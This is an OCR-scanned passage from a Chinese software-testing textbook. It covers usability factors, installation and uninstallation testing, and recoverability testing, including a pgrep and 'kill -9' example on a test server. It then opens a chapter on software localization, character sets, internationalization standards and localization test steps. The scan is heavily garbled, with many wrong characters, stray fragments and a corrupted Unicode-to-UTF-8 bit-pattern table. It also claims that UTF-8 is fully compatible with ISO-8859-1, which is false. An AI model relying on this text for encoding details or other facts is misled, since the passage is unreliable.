5. 舒适 性 

人 们 对 和 舒适 的 理解 各 不 相同 ,总 体 上 说 恰当 的 表现 、 合 理 的 安排 ,必要 的 提示 或 更 正 能 力 
等 是 要 考虑 的 因素 。 如 图 7-5 所 示 的 状态 信息 可 以 
让 用 户 清楚 目前 的 工作 状态 ,就 是 一 个 很 好 的 例子 。 

舒适 性 的 例子 比较 多 ,例如 ,iPhone 手机 为 什么 
那么 受 欢迎 ,就 是 它 的 触摸 屏 操 作 非 常 方便 、 轻 松 。 
财务 报表 软件 就 不 太 适 合 绚丽 的 色彩 、 狂 放 的 风格 。 ER 
Windows 的 UNDO/REDO 特性 让 用 户 觉 得 方便 , 左 
手 鼠 标的 设置 给 惯用 左手 的 人 带 来 便利 ,也 能 为 右手 图 7-5 复制 文件 的 状态 
十 分 劳累 时 提供 了 另 一 种 途径 。 

6. 正确 性 

正确 性 的 问题 一 般 都 很 明显 ,比较 容易 发 现 。 通 常 ,要 注意 是 否 有 多 余 或 遗漏 的 功能 、 功 
能 是 否 被 正确 实现 .语言 拼写 是 否 无 误 ,在 不 同 媒介 上 的 表现 是 否 一 致 .所 有 界面 元 素 的 状态 
是 否 都 准确 无 误 等 。 例 如 ,根据 用 户 的 权限 系统 能 否 自 动 屏蔽 某 些 功能 ,将 密码 输入 内 容 是 否 
显示 为 * 号 等 。 

7. 实用 性 

主要 指 软件 产品 的 各 个 功能 是 否 实用 。 在 需求 和 产品 规格 说 明 书 的 评审 、 实 际 测 试 等 过 


程 中 都 应 考虑 各 个 具体 特性 是 否 必要 的 、 是 否 真正 对 用 户 具 有 实际 价值 。 如 果 认 为 没有 必要 ， 
就 要 研究 或 和 产品 设计 人 员 讨 论 其 存在 的 原因 。 无 用 的 功能 只 会 增加 程序 的 复杂 度 , 产 生 不 
必要 的 软件 缺陷 。 

在 大 型 软件 的 长 期 开发 中 或 经 过 多 个 版 本 的 演化 过 程 中 容易 产生 一 些 没有 实用 价值 的 功 
能 ,可 能 导致 某 个 功能 没有 用 了 ,或 者 原先 设计 界面 上 的 图 标 或 按钮 没有 存在 的 价值 ,也 可 能 
导致 产生 一 些 无 用 的 数据 等 。 

总 而 言 之 ,软件 的 易 用 性 没有 一 个 具体 量化 的 指标 ,主观 性 较 强 。 当 前 面 的 7 个 要 素 处 理 
好 了 , 易 用 的 属性 自然 就 好 了 。 界 面 清 晰 美观 、 各 元 素 布置 合理 ,符合 常用 软件 的 标准 和 规范 、 
用 户 能 够 在 不 需要 其 他 帮助 的 情况 下 完成 各 项 主要 功能 的 ,就 认为 软件 达到 了 易 用 性 的 要 求 。 


7.4 安装 测试 和 可 恢复 性 测试 


软件 的 安装 测试 是 容易 被 忽略 的 一 个 环节 ,开发 和 测试 人 员 均 为 专业 人 员 ,在 开发 和 测试 
的 过 程 和 环境 中 容易 忽略 对 非 专业 人 员 造 成 的 问题 。 系 统一 旦 开始 运行 以 后 ,不 能 保证 系统 
能 无 限期 地 正常 工作 下 去 ,可 能 会 出 现 系 统 宕 机 ,需要 及 时 恢复 ,这 就 要 求 进 行 系统 的 可 恢复 
性 测试 , 它 是 为 了 更 好 地 保证 软件 的 可 用 性 和 数据 的 可 靠 性 。 

1. 安装 与 卸载 测试 

软件 产品 的 日 益 丰 富 ,使 可 获得 软件 的 途径 也 多 种 多 样 ,软件 的 安装 方式 也 发 生 了 很 大 的 
变化 ,有 客户 端 软 件 的 安装 .直接 通过 浏览 器 下 载 安 装 ,还 有 服务 器 端的 系统 部 署 , 随 着 软件 即 
服务 (Software as a Service) 和 云 服务 等 ,系统 部 署 会 越 来 越 普遍 ,其 中 包括 系统 的 升级 、 在 系 
统 运 行 时 打 补丁 (Patch) 等 。 客 户 端 安装 和 服务 器 系统 部 署 有 很 大 差别 ,客户 端 安装 测试 时 ， 
主要 验证 能 否 安 装 成 功 、 安 装 步 又 是 否 清晰 、 中 途 是 否 退 出 \ 安 装 完 之 后 能 否 顺利 种 载 , 印 载 时 
是 否 破坏 用 户 数 据 、 是 否 能 正常 升级 等 内 容 ; 而 完整 的 系统 部 署 会 更 复杂 ,需要 考虑 更 多 的 因 
素 , 包 括 服 务 器 架构 、 环 境 配置 数据 备份 等 。 安 装 测试 时 ,一 般 要 注意 以 下 几 个 方面 。 

(1) 一 般 严 格 按 照 安装 文档 中 的 说 明 ,一 步 一 步 地 进行 操作 ,最 好 从 文档 中 复制 出 各 种 操 
作 命 令 及 其 参数 ,确保 输入 到 计算 机 的 命令 和 文档 中 的 内 容 一 致 。 检 查 系统 安装 是 否 能 够 安 
装 所 有 需要 的 文件 ,数据 并 完成 必要 的 系统 设置 。 

(2) 软件 的 安装 说 明 书 有 无 对 安装 环境 做 限制 和 要 求 。 至 少 在 标准 配置 和 最 低 配置 两 种 
环境 下 安装 。 曾 经 有 过 这 样 的 例子 , 某 客户 端 产品 进行 安装 测试 时 十 分 顺利 ,在 准备 发 布 之 前 
的 一 次 意外 演示 ,发 现 安装 无 法 通过 ,因为 机 器 上 没有 Java 虚拟 机 (Java Runtime 
Environment,JRE)。 让 经 理 主管 们 对 测试 结果 产生 了 很 大 的 疑问 。 真 正 的 原因 是 测试 用 机 
在 安装 操作 系统 时 默认 会 安装 JRE, 从 而 没有 发 现 上 述 问 题 。 

(3) 安装 过 程 是 否 简 单 ,容易 掌握 。 软 件 的 安装 说 明 书 与 实际 安装 步骤 是 否 一 致 。 对 一 
般 用 户 而 言 ,长 长 的 安装 文档 复杂 的 操作 步骤 往往 造成 垦 惧 心理 。 如 果实 际 步骤 与 安装 说 明 
再 有 出 和 人 ,就 容易 让 用 户 缺 乏 信心 ,增加 技术 支持 的 成 本 。 

(4) 安装 过 程 是 否 有 明显 的 、 合 理 的 提示 信息 ,如 选择 /更 改 目 录 、 安 装 的 进程 、 下 一 步 操 
作 提 示 、 中 途 退 出 (Cancel) 等 都 应 明确 提示 。 如 果 是 升级 安装 后 ,用 户 数据 是 否 得 到 保护 并 能 
继续 使 用 。 
(5) 印 载 测试 也 是 安装 测试 的 一 部 分 。 印 载 后 ,文件 目录、 快捷 方式 等 是 否 清除 ,占用 的 
系统 资源 是 否 全 部 释放 ,是 否 影响 其 他 软件 的 使 用 。 更 重要 的 是 ,用 户 数据 是 否 被 保留 ,不 能 


被 删除 ,如果 要 删除 ,也 需要 提示 用 户 , 由 用 户 做 出 选择 。 

(6) 安装 过 程 中 是 否 会 出 现 不 可 预见 的 或 不 可 修复 的 错误 ,进一步 验证 安装 过 程 中 (特别 
是 系统 软件 ) 对 硬件 的 识别 能 力 、 是 否 会 破坏 其 他 文件 或 配置 。 

(7) 安装 程序 是 否 占用 太 多 系统 资源 ,是否 有 冲突 是 否 会 影响 原 系统 的 安全 性 。 

(8) 软件 安装 的 完整 性 和 灵活 性 。 大 型 的 应 用 程序 会 提供 多 种 安装 模式 (最 大 、 最 小 、 自 
定义 等 ), 每 种 模式 是 否 能 够 正确 地 执行 ,以 及 是 否 可 以 中 止 并 恢复 现场 。 

(9) 软件 使 用 的 许可 号 码 或 注册 号 码 的 验证 ,用 户 许可 协议 的 条 款 要 保证 其 合理 、 合 法 。 

2. 可 恢复 性 测试 


提供 软件 服务 的 计算 机 系统 必须 在 限定 的 时 间 内 从 失效 状态 中 恢复 过 来 ,最 大 限度 地 减 
少 对 服务 的 影响 。 有 些 软件 系统 具有 很 好 的 容错 性 ,也 就 是 说 ,运行 过 程 中 出 现 的 错误 对 局 部 
有 影响 ,不 能 造成 整个 系统 的 骨 溃 。 在 某 些 情况 下 ,一 旦 某 个 子 系统 出 现 问题 ,由 一 个 备份 子 
系统 将 服务 接替 过 来 ,从 而 不 会 影响 整个 系统 。 如 果 这 个 系统 出 了 问题 ,由 一 个 备份 系统 完全 
将 服务 接受 过 来 ,继续 提供 服务 。 

恢复 测试 主要 检查 系统 的 容错 能 力 。 当 系统 出 错时 ,能 否 在 指定 时 间 间 隔 内 修正 错误 或 
重新 启动 系统 。 恢 复 测 试 首 先 要 通过 各 种 手段 ,让 软件 强制 性 地 发 生 故 障 ,然后 验证 系统 是 否 
能 尽快 恢复 。 对 于 自动 恢复 需 验 证 重新 初始 化 ,检查 点 、 数 据 恢复 和 重新 启动 等 机 制 的 正确 
性 ; 对 于 人 工 干预 的 恢复 系统 ,还 需 评估 平均 修复 时 间 , 确 定 其 是 否 在 可 接受 的 范围 内 。 例 
如 ,基于 客户 /服务 器 结构 的 应 用 是 测试 工作 中 常常 遇 到 的 ,下面 就 是 一 个 简单 的 示例 ,对 我 们 
有 所 启发 。 

先 分 析 服 务 器 端的 恢复 测试 ,通常 服务 器 上 会 有 一 个 进程 是 对 其 他 服务 进程 进行 维护 和 
管理 。 本 例 是 一 台 Linux 系统 的 服务 器 。 使 用 “pgrep -flsvr” 命 令 列 出 所 有 服务 进程 如 下 所 
示 , 其 中 “atmmsvr” 为 维护 管理 进程 ,其 他 均 为 各 种 服务 进程 。 

[root@1nx2210 root]# pgrep - flsvr 

12063 /opt/… … … /ammsvr 

12137 /opt/… …… /apngsvr 192.168.2.211 

12138 /opt/… … … /acblsvr 192.168.2.213 

12139 /opt/… … … /acb2svr 192.168.2.214 

12140 /opt/… …… /arassvr 192.168.2.215 

12141 /opt/… ……V/alicsvr 192.168.2.212 

12142 /opt/… …… /alogsvr 192.168.2.212 

12143 /opt/… …'… /achatsvr 192.168.2.213 

12144 /opt/… …… /aassvr 192.168.2.213 

12145 /opt/… … … /adtsvr 192.168.2.213 

12146 /opt/… …… /achatsvr 192.168.2.214 

12147 /opt/… ……V/aassvr 192.168.2.214 

12148 /opt/… … … /adtsvr 192.168.2.214 


12290 /opt/… … … /wmssvr 

12378 /opt/… …… /arassvr 192.168.2.215 
12592 /opt/… … … /apngsvr 192.168.2.211 
12593 /opt/… … … /apngsvr 192.168.2.211 
[root@1nx2210 root]# kill -9 12138 


如 果 对 其 中 进程 号 为 12138 的 “acblsvr” 进 行 恢复 测试 ,可 以 使 用 “kill -9 12138” 命 令 将 该 


进程 杀 掉 。 立 刻 通过 客户 端 验证 该 项 服务 的 丧失 ,在 恢复 时 间 内 监控 服务 器 的 进程 ,直到 
“acblsvr” 进 程 被 重新 启动 。 再 通过 客户 端 验证 该 项 服务 的 恢复 。 服 务 器 端 系 统 资源 不 应 该 
出 现 较 大 的 变化 。 

再 分 析 客 户 端的 恢复 测试 ,可 以 用 一 个 更 简单 的 例子 说 明 。 手 工 拔 下 网 线 ,在 许可 的 时 间 
范围 内 再 插 上 。 从 客户 的 角度 ,服务 的 丢失 和 重新 获得 不 能 太 麻 烦 ,也 不 能 太 困 难 ,状态 不 能 
发 生 大 的 变化 ,数据 能 够 重新 获得 。 


小 结 


验收 测试 是 技术 测试 的 最 后 一 个 阶段 ,需要 和 用 户 共同 完成 ,而 且 需要 在 软件 实际 运行 环 
境 中 进行 测试 。 严 格 按照 产品 规格 说 明 书 来 进行 测试 ,通过 验收 测试 后 ,需要 提交 验收 测试 报 
告 。 在 本 章 还 详细 介绍 了 安装 测试 、 可 恢复 性 和 文档 测试 等 ,安装 测试 可 以 扩展 到 数据 中 心 的 
部 署 验 证 ,而 文档 测试 主要 检查 文档 的 正确 性 ,完备 性 \ 易 理解 性 和 一 致 性 。 


思考 题 


.验收 测试 是 由 用 户 完成 的 吗 ? 为 什么 ? 

. 进行 验收 测试 的 条 件 是 什么 ”通过 标准 是 什么 ? 

. 如何 进 行 产品 说 明 书 的 验证 ? 

. 简 述 文档 测试 的 重要 性 。 

. 用 户 界面 测试 有 哪些 要 素 ? 

.软件 测试 分 为 哪 4 个 阶段 ? 每 个 阶段 的 主要 任务 和 目标 是 什么 ? 


中 上 虽 


由 | 
CHAPTER 8 


第 8 章 


软件 本 地 化 测试 


随 着 软件 市 场 越 来 越 趋向 于 全 球 化 的 竞争 ,为 了 使 将 来 软件 产品 可 
以 走向 世界 ,能够 参与 全 球 市 场 的 竞争 ,在 开发 软件 产品 的 时 候 就 需要 
考虑 到 如 何 适应 国际 化 的 需求 ,满足 不 同 国家 或 地 区 的 用 户 使 用 要 求 ， 
包括 不 同 诸 言 ,不同 货币 .不 同 计量 单位 和 不 同文 化 习俗 等 方面 对 软件 
产品 所 提出 的 要 求 ,这 就 产生 了 软件 国际 化 和 本 地 化 的 概念 。 

本 章 主要 介绍 什么 是 软件 本 地 化 、 软 件 本 地 化 的 翻译 验证 和 其 他 测 
试 重点 ,让 读者 深入 了 解 软件 本 地 化 的 过 程 ,并 全 面 了 解 如 何 完成 本 地 
化 测试 。 


8.1 什么 是 软件 本 地 化 


软件 本 地 化 是 将 一 个 软件 产品 按 特定 国家 或 语言 市 场 的 需要 进行 
全 面 定 制 的 过 程 ,包括 翻译 、 重 新 设计 功能 调整 以 及 功能 测试 ,是否 符 
合 各 个 地 方 的 习俗 文化 背景 .语言 和 方言 的 验证 等 。 在 开始 讨论 之 前 ， 
先 来 介绍 几 个 关键 术语 。 

(1) LI10n: 英文 Localization 一 词 的 简写 , 意 即 本 地 化 ,由 于 首 字母 
“L” 和 末尾 字母 “n” 间 有 10 个 字母 ,所 以 简称 Ll0n。 

(2) I18n: 英文 Internationalization 的 简写 , 意 为 国际 化 ,由 于 首 字 
母 "I" 和 末尾 字母 “n" 间 有 18 个 字符 ,所 以 简称 I18n。Internationalization 
指 为 保证 所 开发 的 软件 能 适应 全 球 市 场 的 本 地 化 工作 而 不 需要 对 程序 
做 任何 系统 性 或 结构 性 变化 的 特性 ,这 种 特性 通过 特定 的 系统 设计 、 程 
序 设 计 、 编 码 方法 来 实现 。 也 就 是 说 ,完全 符合 国际 化 的 软件 产品 ,在 对 
其 进行 本 地 化 工作 的 时 候 , 只 要 进行 一 些 配置 和 翻译 工作 ,而 不 需要 修 
改 软件 的 程序 代码 。 

(3) locale: 场 所 \ 本 地 ,简单 来 说 是 指 语言 和 区 域 进 行 特 殊 组 合 的 
一 个 标志 。 

(4) Globalization: 即 全 球 化 ,是 一 个 概念 化 产品 的 过 程 , 它 基 于 全 
球 市 场 考虑 ,以 便 一 个 产品 只 做 较 小 的 改动 就 可 以 在 世界 各 地 出 售 。 全 
球 化 可 以 看 作 国 际 化 和 本 地 化 两 者 合成 的 结果 。 

它们 之 间 的 关系 可 用 图 8-1 表示 ,在 这 里 强调 国际 化 是 核心 工作 ， 


只 有 满足 国际 化 的 要 求 之 后 才能 容易 实现 本 地 化 ,而 且 翻 译 2 


只 是 本 地 化 工作 的 一 部 分 ,全 球 化 是 一 个 产品 市 场 的 概念 。 EC 
提 到 本 地 化 ,首先 想到 的 就 是 翻译 问题 , 雪 良 蚂 疑 ,翻译 在 本 / 
地 化 工作 中 占据 着 很 重要 的 地 位 ,但 是 绝 不 能 把 翻译 等 同 于 1 (em 
本 地 化 , 它 和 本 地 化 还 有 很 大 的 差距 。 当 文字 被 翻译 后 ,还 要 | 
对 产品 进行 其 他 相应 的 更 改 ,这 些 更 改 包括 技术 层面 和 文化 。 人 7 
层面 的 更 改 。 SR 
8.1.1 软件 本 地 化 与 国际 化 国 &1 各 译本 地 化 与 国际 化， 
全 球 化 之 间 的 关系 


人 们 常 说 的 “国际 化 ?是 指 产品 走出 国门 ,在 其 他 国家 销 
售 。 但 在 软件 产品 开发 中 ,产品 国际 化 有 着 不 同 的 含义 ,意味 着 对 软件 “原始 产品 ”本 地 化 的 支 
持 , 也 就 是 为 了 解决 软件 能 在 各 种 不 同 语言 .不同 风俗 的 国家 和 地 区 使 用 的 问题 ,对 计算 机 设 
计 和 编程 所 做 出 的 某 些 规定 。 为 了 减少 本 地 化 的 工作 ,软件 产品 国际 化 应 该 具有 下 面 一 系列 
特性 。 

(1) 支持 Unicode 字符 集 ; 

(2) 分 离 程序 代码 和 显示 内 容 ( 文 本 、 图 片 、 对 话 框 ,信息 框 和 按钮 等 ), 如 将 这 些 内 容 由 资 
源 文 件 ( 如 * .rc、. properties) 统 一 处 理 ; 

(3) 消除 硬 代码 (Hard Code, 指 程序 代码 中 所 包含 一 些 特定 的 数据 ,它们 本 应 该 作为 变量 
处 理 , 而 对 应 的 具体 数据 应 该 存储 在 数据 库 或 初始 化 文件 中 ); 

(4) 使 用 Header Files 去 定义 经 常 被 调用 的 代码 段 ; 

(5) 改善 翻译 文本 尺寸 ,具有 调整 的 灵活 性 ,如 在 资源 文件 中 可 以 直接 具有 调整 用 户 界面 
的 灵活 性 来 适应 翻译 文本 尺寸 ; 

(6) 支持 各 个 国家 的 键盘 设置 ,并 有 对 应 的 热 键 处 理 ; 

(7) 支持 文字 不 同方 向 的 显示 ; 

(8) 支持 各 个 国家 的 度量 衡 .时 区 ,货币 单位 格式 等 自 定义 功能 ; 

(9) 用 户 界面 (包括 颜色 、 字 体 ) 等 自 定义 特性 。 

软件 本 地 化 是 国际 化 向 特定 本 地 语言 环境 的 转换 ,即将 软件 从 源 诸 言 转换 成 一 种 或 多 种 
目标 语言 的 过 程 ,同时 针对 目标 国家 或 地 区 ,对 产品 的 外 观 ,参数 设置 等 进行 相应 的 处 理 , 如 : 

(1) 软件 用 户 界 面 (User Interface,U 了 DD 默认 值 的 设置 ; 

(2) 联机 文档 (帮助 文档 技术 支持 站 点 等 ); 

(3) 数据 库 初始 化 工作 ; 

(4) 热 键 设置 ; 

(5) 度量 衡 和 时 区 等 。 

国际 化 与 本 地 化 是 一 个 辨证 的 关系 ,本 地 化 要 适应 国际 化 的 规定 。 而 国际 化 是 本 地 化 的 
基础 和 前 提 , 为 本 地 化 做 准备 ,使 本 地 化 过 程 不 需要 对 代码 做 改动 就 能 完成 ,或 将 代码 修改 降 
到 最 低 限 度 。 


8.1.2 字符 集 问题 


要 支持 软件 国际 化 特征 ,首先 就 要 考虑 使 用 正确 的 字符 集 。 西 方 语言 ,如 英语 、 法 语 和 德 
语 ,使 用 不 到 256 个 字符 ,所 以 它们 可 以 用 单字 节 编 码 表 示 。 可 是 亚洲 语言 ,比如 日 文 和 中 文 ， 


却 有 几 万 个 字符 ,因此 需要 双 字 节 编 码 。 所 以 在 做 本 地 化 测试 的 时 候 , 应 该 检查 开发 人 员 是 否 
使 用 了 正确 的 字符 编码 。 

字符 集 是 操作 系统 中 所 使 用 的 字符 映射 表 , 例 如 ,早期 的 UNIX 系统 使 用 只 包含 128 个 
字符 的 7-bit ASCII 字符 集 ( 包 括 Tabs、 空 格 、 标 点 、 符 号 、 大 小 写字 母 . 数 字 和 回 车 键 等 )。 然 
而 对 于 很 多 语言 来 说 ,7-bit ASCII 字符 集 远 远 不 够 ,因为 它 不 包含 特殊 字符 (比如 ea 或 a) 。 
所 以 后 来 出 现 了 8-bit ASCII, 它 包 含 256 个 字符 。 微 软 的 Windows 早期 版 本 使 用 8-bit 
ASCII 字符 集 ,对 于 UNIX 计算 机 ,还 有 一 个 ISO 标准 (ISO 8859-X) ,和 8-bit ASCII 相似 。 
即使 拥有 256 个 字符 ,8-bit ASCII 还 是 无 法 满足 所 有 语言 的 需求 。 汉 语 、 日 语 和 韩语 这 些 语 
言 的 字符 都 很 多 ,无 法 适用 扩展 后 的 ASCII 字符 集 , 对 于 这 些 语言 ,可 以 使 用 16-bit 字符 集 
( 双 字 节 、 多 字 节 或 变数 字 节 ) ,这 就 是 统一 的 字符 编码 标准 Unicode, 采 用 双 字 节 对 字符 进行 
编码 ,几乎 包含 所 有 语言 的 每 个 字符 。 

Unicode 是 一 个 国际 标准 (http://www. unicode. org/standard/standard. html) ,采用 双 
字 节 对 字符 进行 编码 ,提供 了 在 世界 主要 语言 中 通用 的 字符 ,所 以 也 称 为 基本 多 文 种 平面 。 
Unicode 以 明确 的 方式 表述 文本 数据 ,简化 了 混合 平台 环境 中 的 数据 共享 。 目 前 ,很 多 操作 系 
统 都 支持 Unicode, 包 括 Windows 系统 .Linux 系统 和 Mac OS、Solaris,IBM-AIX、HP-UX 等 。 
Unicode 简称 为 UCS, 现 在 用 的 是 UCS-2, 即 2 字 节 编 码 , 和 国际 标准 字符 集 ISO 10646-1 相 
对 应 。UCS 最 新 版 本 是 2005 年 的 Unicode 4.1.0, 而 ISO 的 最 新 标准 是 ISO 10646-3:2003 。 

UCS 只 是 规定 如 何 编码 ,并 没有 规定 如 何 传输 、 保 存 编码 。 所 以 有 了 Unicode 实用 的 编 
码 体 系 , 如 UTF-8、UTF-7、UTF-16。UTF-8(UCS Transformation Format) 和 ISO-8859-1 完 
全 兼容 ,解决 了 Unicode 编码 在 不 同 的 计算 机 之 间 的 传输 、 保 存 , 使 得 双 字 节 的 Unicode 能 够 
在 现存 的 处 理 单字 节 的 系统 上 正确 传输 。UTF-8 使 用 可 变 长 度 字 节 来 储存 Unicode 字符 ,这 
能 解决 敏感 字符 引起 的 问题 。 前 面 有 几 个 1 ,表示 整个 UTF-8 串 是 由 几 个 字 节 构 成 的 。 以 下 
是 Unicode 和 UTF-8 之 间 的 转换 关系 : 

U~ 00000000 - U- 0000007F: Oxxxxxxx 

U— 00000080 — U- 000007FF: 110xxxxx 10xxxxxx 

U00000800 — U— 0000FFFF: 1110xxxx 10xxxxxx 10xxxxxx 

U00010000 - U— O01FFFFF: 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx 


U—- 00200000 - U- 03FFFFFF: 111110xx 10xx0cxxx 10xxxxxx 10xxxxxx 10xxxxxx 
U~- 04000000 - U~- 7FFFFFFF: 1111110x 10xoooocx 10xxxxxx 10000x 10xxxxxx 10x000x 


8.1.3 软件 国际 化 标准 


软件 达到 什么 样 的 程度 才 算 彻底 实现 了 国际 化 ? 虽然 在 这 上 面 ,仍然 存在 一 定 的 分 歧 ,但 
普遍 认为 作为 国际 化 软件 ,要 么 在 应 用 软件 运行 时 可 以 动态 切换 某 种 国家 或 地 区 的 语言 ,要 么 
在 应 用 软件 启动 前 或 启动 时 可 以 设置 某 种 语言 。 例 如 ,操作 系统 Windows XP, 不 需要 重新 编 
译 , 就 可 以 切换 到 不 同 语言 和 不 同 的 国家 或 地 区 。 作 为 国际 化 软件 的 规范 可 以 归纳 为 以 下 
5 点 。 

(1) 切换 语言 的 机 制 。 

(2) 与 语言 无 关 的 输出 接口 。 

(3) 与 语言 无 关 的 输入 接口 和 标准 的 输入 协议 。 

(4) 资源 文件 的 国际 化 。 


(5) 支持 和 包容 本 地 化 数据 格式 。 

为 了 使 软件 国际 化 更 为 规范 ,需要 建立 相应 的 国际 标准 ,来 规范 字符 集 、 编 码 、 数 据 交换 、 
语言 输入 方法 、 输 出 (打印 、 用 户 界面 )、 字 体 处 理 、 文 化 习俗 等 各 个 方面 。 比 较 著名 的 一 些 国 际 
化 标准 组 织 有 : 

(1) ANSI(American National Standards Institute) 

(2) POSIX(Portable Operating System Interface for Computer Environments) 


(3) ISO(CInternational Standards Organization) 

(4) IEEE(Institute of Electrical and Electronics Engineers) 

(5) Unicode Consortium 

(6) Open Group(X Consortium and OSF) 

(7) Lil8nux(Linux Il8n), X/Open and XPG 

而 与 国际 化 有 密切 关系 的 国际 标准 有 : 

(1) ISO/ITEC 10646-1:2003 定义 了 4 字 节 编码 的 通用 字符 集 (Universal Character Set， 
UCS) ,也 称 通用 多 8 位 编码 字符 集 (Universal Multiple-Octet Coded Character Set) 。 

(2) ISO 639-1:2002,2 字母 语种 代码 (alpha-2) 标 准 。 

(3) ISO 3166-1:1997, 国 家 代码 标准 。 

(4) RFC 3066 ,语言 鉴定 标签 标准 。 


8.1.4 软件 本 地 化 基本 步骤 


要 做 好 软件 本 地 化 的 测试 工作 ,有 必要 了 解 软 件 本 地 化 的 步 又。 软件 本 地 化 的 基本 工作 
是 建立 在 软件 国际 化 的 基础 上 ,或 者 说 ,软件 本 地 化 的 第 一 项 工作 就 是 规范 甚至 是 迫使 源 语言 
版 本 的 开发 遵守 软件 国际 化 的 标准 。 在 此 基础 上 ,依次 做 好 版 本 管理 ,建立 专业 术语 表 、 翻 译 、 
调整 UI 等 工作 。 

在 软件 全 部 翻译 完毕 ,对 技术 部 分 做 了 必要 的 调整 之 后 ,软件 产品 或 多 或 少 发 生 了 一 些 变 
化 。 不 论 原来 的 软件 产品 有 多 成 熟 ,经 过 本 地 化 工作 之 后 ,软件 产品 可 能 产生 一 些 新 的 问题 ， 
或 者 引起 一 些 回归 缺陷 ,所 以 针对 本 地 化 的 产品 进行 测试 ,也 是 必要 的 。 以 下 是 本 地 化 的 基本 
步骤 ,虽然 在 具体 操作 时 可 能 会 有 所 不 同 , 但 基本 步骤 是 不 可 省 略 的 。 

(1) 建立 一 个 配置 管理 体系 ,跟踪 目标 语言 各 个 版 本 的 源 代码 ; 

(2) 创造 和 维护 术语 表 ; 

(3) 从 源 语言 代码 中 分 离 资源 文件 或 提取 需要 本 地 化 的 文本 ; 

(4) 把 分 离 或 提取 的 文本 、 图 片 等 翻译 成 目标 语言 ; 

(5) 把 翻译 好 的 文本 ,图片 重 新 插入 目标 语言 的 源 代 码 版 本 中 ; 

(6) 如 果 需 要 ,编译 目标 语言 的 源 代码 ; 

(7) 测试 翻译 后 的 软件 ,调整 UI 以 适应 翻译 后 的 文本 ; 

(8) 测试 本 地 化 后 的 软件 ,确保 格式 和 内 容 都 正确 。 

本 地 化 的 工作 流程 如 图 8-2 所 示 , 其 中 DTP 指 多 语言 桌面 排版 (Multilingual Desktop 
Publishing)。 本 地 化 领域 的 桌面 出 版 .是 指 将 采用 某 一 语言 的 原始 文档 (如 操作 手册 、 产 品 样 
本 、 宣 传单 页 等 ) 按 照 一 种 或 多 种 目标 语言 重新 排版 ,形成 不 同 的 语言 版 本 。 一 些 产 品 可 能 支 
持 或 不 支持 对 某 种 语言 的 拼写 检查 ,而 需要 特定 的 操作 系统 ,例如 ,针对 Macintosh 计算 机 的 
日 语 工 具 箱 或 针对 PC 的 阿拉 伯 视 窗 。 


1 
软件 配置/ 记录 客户 数据 
! 1 | 
工程 (开发 ) [语言 翻译 /编辑 /校对 ] [DTP/ 图 形 | 
1 1 
兼容 性 检验 [语言 分 析 / 术 语 “| [文字 分 离 /标记 ] 
| | 
翻译 内 容 标记 | 一 一 = ”翻译 /编辑 /校对 “= 一 一 一 一 一 


软件 包 发 布 


图 8-2 软件 本 地 化 的 工作 流程 


8.1.5 软件 本 地 化 测试 


在 进行 软件 本 地 化 测试 之 前 , 先 要 检查 软件 源 语言 开发 是 否 遵守 了 软件 国际 化 方面 的 规 
范 , 验 证 是 否 具有 软件 国际 化 所 应 有 的 全 部 特征 ,包括 字符 集 、 资 源 和 代码 分 离 .时 区 设置 ,请 
言 和 地 方 选择 等 。 要 验证 软件 是 否 具备 国际 化 特征 ,需要 根据 软件 国际 化 相关 标准 进行 评审 ， 
包括 设计 和 代码 的 评审 。 

仅仅 评审 是 不 够 的 ,还 要 进行 相关 的 功能 测试 .界面 测试 ,但 不 包括 翻译 验证 等 。 而 功能 
测试 和 界面 测试 ,一 般 采 用 伪 翻 译 (Pseudocode, Pseudo-translation) 所 构建 的 版 本 进行 测试 。 
这 种 Pseudocode 版 本 是 将 文字 、 图 片 信 息 中 的 源 语言 被 混合 式 多 种 语言 (如 英文 、 中 文 \ 日 文 
和 德 文 等 ) 蔡 代 而 构建 的 一 种 临时 的 、 专 供 测 试用 的 版 本 。 

在 源 语 言 版 本 通过 了 国际 化 验证 之 后 , 才 开 始 进 行 本 地 化 的 测试 。 本 地 化 测试 的 版 本 ,就 
是 待 发 布 的 特定 语言 的 真实 版 本 ,而 该 特定 的 语言 版 本 是 在 源 语言 版 本 的 基础 上 ,经 过 本 地 化 
工作 之 后 而 获得 的 。 本 地 化 测试 着 重 于 以 下 几 个 方面 。 

(1) 主要 的 功能 性 测试 ,函数 之 间 传 递 的 参数 ,数据库 的 默认 值 经 过 本 地 化 处 理 后 ,可 能 
会 对 系统 的 功能 运行 产生 较 大 的 影响 ,从 而 引起 功能 缺陷 ; 

(2) 在 本 地 化 环境 中 的 安装 和 升级 测试 ,由 于 目标 语言 的 操作 系统 和 软件 本 身 都 不 一 样 
了 ,安装 或 升级 过 程 也 常常 受到 影响 ; 

(3) 根据 产品 的 目标 区 域 而 进行 的 应 用 程序 和 硬件 兼容 性 测试 ,其 应 用 程序 的 接口 .标准 
可 能 不 同 ,硬件 型 号 及 其 配置 更 有 可 能 存在 差异 ; 

(4) 受 本 地 化 影响 的 用 户 界面 ,包括 布局 格式、 文字 和 图 片 等 内 容 显 示 问 题 ; 


(5) 特殊 的 语言 环境 (意境 ) 文化 背景 和 地 理 位 置 等 可 能 给 软件 带 来 的 问题 ; 

(6) 文字 翻译 的 正确 性 、 准 确 性 以 及 是 否 遗 漏 等 。 

具体 测试 的 时 候 ,针对 上 述 各 项 内 容 , 还 要 进一步 细 化 ,确定 具体 的 测试 需求 ,例如 ,针对 
用 户 界面 和 请 言 文化 方面 的 测试 ,其 具体 内 容 包括 以 下 几 个 方面 。 

(1) 应 用 程序 源 文件 的 有 效 性 ; 

(2) 验证 语言 的 准确 性 和 源 代码 的 属性 ; 

(3) 排版 错误 ; 

(4) 检查 印刷 文档 和 联机 帮助 .界面 信息 的 一 致 性 以 及 命令 键 的 顺序 等 ; 

(5) 用 户 界面 是 否 符合 当地 审美 标准 (或 情趣 ); 

(6) 文化 适用 性 的 评估 ; 

(7) 政治 敏感 内 容 的 检查 。 

当 发 布 一 个 本 地 化 产品 时 ,应 该 确保 本 地 化 文档 (用 户 手册 、 在 线 帮 助 .帮助 文件 等 ) 都 包 
含 在 其 中 。 同 时 应 该 检查 翻译 的 质量 和 完整 性 ,并 确保 所 有 的 文档 和 应 用 程序 界面 中 术语 使 
用 的 一 致 性 。 所 以 概括 起 来 ,本 地 化 测试 包括 以 下 6 个 方面 。 

(1) 功能 性 测试 ,所 有 基本 功能 \ 安 装 、 升 级 等 测试 ; 

(2) 翻译 测试 ,包括 语言 完整 性 ,术语 准确 性 等 检查 ; 

